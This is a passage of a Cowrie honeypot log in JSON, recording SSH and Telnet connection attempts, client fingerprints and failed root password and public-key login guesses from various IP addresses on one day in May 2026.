{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:35.980986Z","src_ip":"109.237.96.109","session":"8f2a0815c4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:36.072507Z","src_ip":"109.237.96.109","session":"8f2a0815c4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heckfy","message":"login attempt [root/heckfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:36.345419Z","src_ip":"109.237.96.109","session":"8f2a0815c4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56550,"dst_ip":"159.203.135.109","dst_port":22,"session":"d802a1e524df","protocol":"ssh","message":"New connection: 80.66.85.226:56550 (159.203.135.109:22) [session: d802a1e524df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.121882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.126729Z","src_ip":"80.66.85.226","session":"d802a1e524df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.225629Z","src_ip":"80.66.85.226","session":"d802a1e524df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.437790Z","src_ip":"109.237.96.109","session":"8f2a0815c4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11112222","message":"login attempt [root/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.503440Z","src_ip":"80.66.85.226","session":"d802a1e524df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33416,"dst_ip":"10.17.0.5","dst_port":23,"session":"c962bf4243b6","protocol":"telnet","message":"New connection: 152.42.224.71:33416 (10.17.0.5:23) [session: c962bf4243b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:37.705523Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:38.600486Z","src_ip":"80.66.85.226","session":"d802a1e524df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56258,"dst_ip":"10.17.0.5","dst_port":23,"session":"13f06a205406","protocol":"telnet","message":"New connection: 152.42.224.71:56258 (10.17.0.5:23) [session: 13f06a205406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:46.038471Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33574,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd9cec799c97","protocol":"ssh","message":"New connection: 194.113.233.25:33574 (10.17.0.5:22) [session: fd9cec799c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:51.291071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:51.296058Z","src_ip":"194.113.233.25","session":"fd9cec799c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:51.387022Z","src_ip":"194.113.233.25","session":"fd9cec799c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spartak1","message":"login attempt [root/spartak1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:51.658214Z","src_ip":"194.113.233.25","session":"fd9cec799c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:52.754867Z","src_ip":"194.113.233.25","session":"fd9cec799c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56264,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6ec42b692c","protocol":"telnet","message":"New connection: 152.42.224.71:56264 (10.17.0.5:23) [session: 7a6ec42b692c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:53.481306Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52806,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ee53fd3082","protocol":"telnet","message":"New connection: 152.42.224.71:52806 (10.17.0.5:23) [session: 72ee53fd3082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:00.749680Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f1721afd4c","protocol":"telnet","message":"New connection: 152.42.224.71:41770 (10.17.0.5:23) [session: d4f1721afd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:06.577245Z"}
{"eventid":"cowrie.session.closed","duration":29.61442756652832,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:07.319788Z","src_ip":"152.42.224.71","session":"c962bf4243b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33938,"dst_ip":"10.17.0.5","dst_port":23,"session":"26338994e743","protocol":"telnet","message":"New connection: 152.42.224.71:33938 (10.17.0.5:23) [session: 26338994e743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:20.372116Z"}
{"eventid":"cowrie.session.closed","duration":42.08369541168213,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:28.122003Z","src_ip":"152.42.224.71","session":"13f06a205406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64627,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f2e259dc085","protocol":"ssh","message":"New connection: 152.42.212.128:64627 (159.203.135.109:22) [session: 8f2e259dc085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:40.010593Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:40.017658Z","src_ip":"152.42.212.128","session":"8f2e259dc085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:40.022399Z","src_ip":"152.42.212.128","session":"8f2e259dc085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.8467104434967,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:47.449877Z","src_ip":"152.42.224.71","session":"17123da0e214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.366703510284424,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:51.943832Z","src_ip":"152.42.224.71","session":"d4f1721afd4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.871522665023804,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:40:52.621089Z","src_ip":"152.42.224.71","session":"72ee53fd3082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":59686,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d3225baf68e","protocol":"ssh","message":"New connection: 210.210.155.71:59686 (10.17.0.5:22) [session: 0d3225baf68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:14.860430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:14.865741Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:15.096222Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:58:af:ac:5f:9f:1b:ef:93:ce:4a:bc:49:e6:33:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWg97/TwZN12l7+PJZAjiEejFUAqyM2xxu/vTXAOkdijadw9gbKusNCcRmWX5/48SC6q8q+4qcEkrSYk9DJxUG/CIWPpPUws+wgsH1cubu9MoISi1wqE3zDA/5Fk0ieXBMpKQ9IDSfI/U6FE68nSiM5Pbg0CpQoCGgl5Fg+PN0CNsIre7x0T0SaeekqYVbeB7fd/z4Glyd9qv0EFJ33E+ViMudZ2yZsVmp+oYeaZYfh2Q6vMu/k5TchcrzmdW4n3Ftl+sm0drpDoGbLz8wLgLLvChi20u4lO/CQgl63bdUBpuoggQ3fykbKyzH0VLf8TcVsNFzuAlWRBivaoN4Fmkb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:58:af:ac:5f:9f:1b:ef:93:ce:4a:bc:49:e6:33:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.222313Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:58:af:ac:5f:9f:1b:ef:93:ce:4a:bc:49:e6:33:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWg97/TwZN12l7+PJZAjiEejFUAqyM2xxu/vTXAOkdijadw9gbKusNCcRmWX5/48SC6q8q+4qcEkrSYk9DJxUG/CIWPpPUws+wgsH1cubu9MoISi1wqE3zDA/5Fk0ieXBMpKQ9IDSfI/U6FE68nSiM5Pbg0CpQoCGgl5Fg+PN0CNsIre7x0T0SaeekqYVbeB7fd/z4Glyd9qv0EFJ33E+ViMudZ2yZsVmp+oYeaZYfh2Q6vMu/k5TchcrzmdW4n3Ftl+sm0drpDoGbLz8wLgLLvChi20u4lO/CQgl63bdUBpuoggQ3fykbKyzH0VLf8TcVsNFzuAlWRBivaoN4Fmkb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.229258Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:24:5f:53:8b:17:3f:53:1b:9f:9e:e7:31:e2:38:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyeoKpEGdUTVNVRsVZ3CyW9t7m1sG5UnUwMxtvDqdiDB9GiZRYbGVQeaByO5+du0fqj5zdZVcdjd12KTsHwD/S/01kuHZwcPXVsNbgiS6FFBRoiF2EnG4tkHtodgH+sHV6zEQytx4sgc1VOMbXRp7g+laHCfE3+XgdwxdiOf2mk2PLW7fM2xVmizfPeBRJIyBp7nUl0teQDFLI/GHJsnrVIOGnrND79MKN27acWPwOr+BF9irb7qZMNvY2ayLwr8AwfLZiA5El7p7mkBuV2p48gbmVYlXTl7p+2MKyF3k4gTMjuK7LI0On5pNlYL9hw03FT3eKfPlFPL6KU4EprNo6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:24:5f:53:8b:17:3f:53:1b:9f:9e:e7:31:e2:38:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.460587Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:24:5f:53:8b:17:3f:53:1b:9f:9e:e7:31:e2:38:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyeoKpEGdUTVNVRsVZ3CyW9t7m1sG5UnUwMxtvDqdiDB9GiZRYbGVQeaByO5+du0fqj5zdZVcdjd12KTsHwD/S/01kuHZwcPXVsNbgiS6FFBRoiF2EnG4tkHtodgH+sHV6zEQytx4sgc1VOMbXRp7g+laHCfE3+XgdwxdiOf2mk2PLW7fM2xVmizfPeBRJIyBp7nUl0teQDFLI/GHJsnrVIOGnrND79MKN27acWPwOr+BF9irb7qZMNvY2ayLwr8AwfLZiA5El7p7mkBuV2p48gbmVYlXTl7p+2MKyF3k4gTMjuK7LI0On5pNlYL9hw03FT3eKfPlFPL6KU4EprNo6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.465060Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:63:a1:21:32:ab:e6:1d:e9:56:7c:04:85:6b:73:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgW9dT+IJ8C1ahwIprP+q3JYUdRNNqGHjkAYMYV+ps9F+87zv2XyQiQ+KP1VCj/rgM9x2B+ZbtTqC9pVMCfY93TiDbkk9mCO+/CrAF1ztfTAiJCymr6GspyLB409+fmW8kLpZgB5vJZc7mdKfC9QiR2/1dBQWi3ONG/K/8m5oKm42lul6vUzgjjn+X7sqQZIwpWtZPLlf6/nV3kf1WnNdEXW226xWOpxBG+m4I/fwEngtLn3a8JoZZB/fOpEOmq6qx/L5Ek1ahoxgNT2bYTCw++wep1eOkI7TV17JrLAqPvQFeKtl69c0Oeb26usotOUeEwcTcSaHGHWNg0cKxcvCP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:63:a1:21:32:ab:e6:1d:e9:56:7c:04:85:6b:73:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.703302Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:63:a1:21:32:ab:e6:1d:e9:56:7c:04:85:6b:73:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgW9dT+IJ8C1ahwIprP+q3JYUdRNNqGHjkAYMYV+ps9F+87zv2XyQiQ+KP1VCj/rgM9x2B+ZbtTqC9pVMCfY93TiDbkk9mCO+/CrAF1ztfTAiJCymr6GspyLB409+fmW8kLpZgB5vJZc7mdKfC9QiR2/1dBQWi3ONG/K/8m5oKm42lul6vUzgjjn+X7sqQZIwpWtZPLlf6/nV3kf1WnNdEXW226xWOpxBG+m4I/fwEngtLn3a8JoZZB/fOpEOmq6qx/L5Ek1ahoxgNT2bYTCw++wep1eOkI7TV17JrLAqPvQFeKtl69c0Oeb26usotOUeEwcTcSaHGHWNg0cKxcvCP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.709246Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:4c:d2:b1:c7:33:e3:79:6f:3e:c0:d8:4c:b9:1d:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArSIDV6xyVFEiTp2QP2MPvdyHLnZuh5gOKY1TZ9N+YZpt9gMroEHi+vTVdaXSQtkNXm+WAuC8axULZY6Eaeac7hs+jw4G8gMUCK7zeFzh9K1EqnKoK4JSLVeR07FsNx31aGWAhyOFrfla0TsHimrh3WJt8PT2SxihOJp+nCs20loucnKCZ3E+bXcqtFk0OpqsmraAI+t34OLWgXN1KuRAayJykVCOWjp6uNco4o7rOm9lsTBinUpSmxCFUfoQHx3Ru2fMefjonfLAHwNT0duRYXEAF8S4L7ulPpuG9nCZVLK7ux0kaZD73adSTDQncUWArxJPw3fMLKGqZvW2SiT+ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:4c:d2:b1:c7:33:e3:79:6f:3e:c0:d8:4c:b9:1d:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.943817Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:4c:d2:b1:c7:33:e3:79:6f:3e:c0:d8:4c:b9:1d:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArSIDV6xyVFEiTp2QP2MPvdyHLnZuh5gOKY1TZ9N+YZpt9gMroEHi+vTVdaXSQtkNXm+WAuC8axULZY6Eaeac7hs+jw4G8gMUCK7zeFzh9K1EqnKoK4JSLVeR07FsNx31aGWAhyOFrfla0TsHimrh3WJt8PT2SxihOJp+nCs20loucnKCZ3E+bXcqtFk0OpqsmraAI+t34OLWgXN1KuRAayJykVCOWjp6uNco4o7rOm9lsTBinUpSmxCFUfoQHx3Ru2fMefjonfLAHwNT0duRYXEAF8S4L7ulPpuG9nCZVLK7ux0kaZD73adSTDQncUWArxJPw3fMLKGqZvW2SiT+ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:16.948493Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:58:1f:a7:54:78:ca:4f:f6:41:bf:7c:2a:b6:8e:7d","key":"ssh-rsa 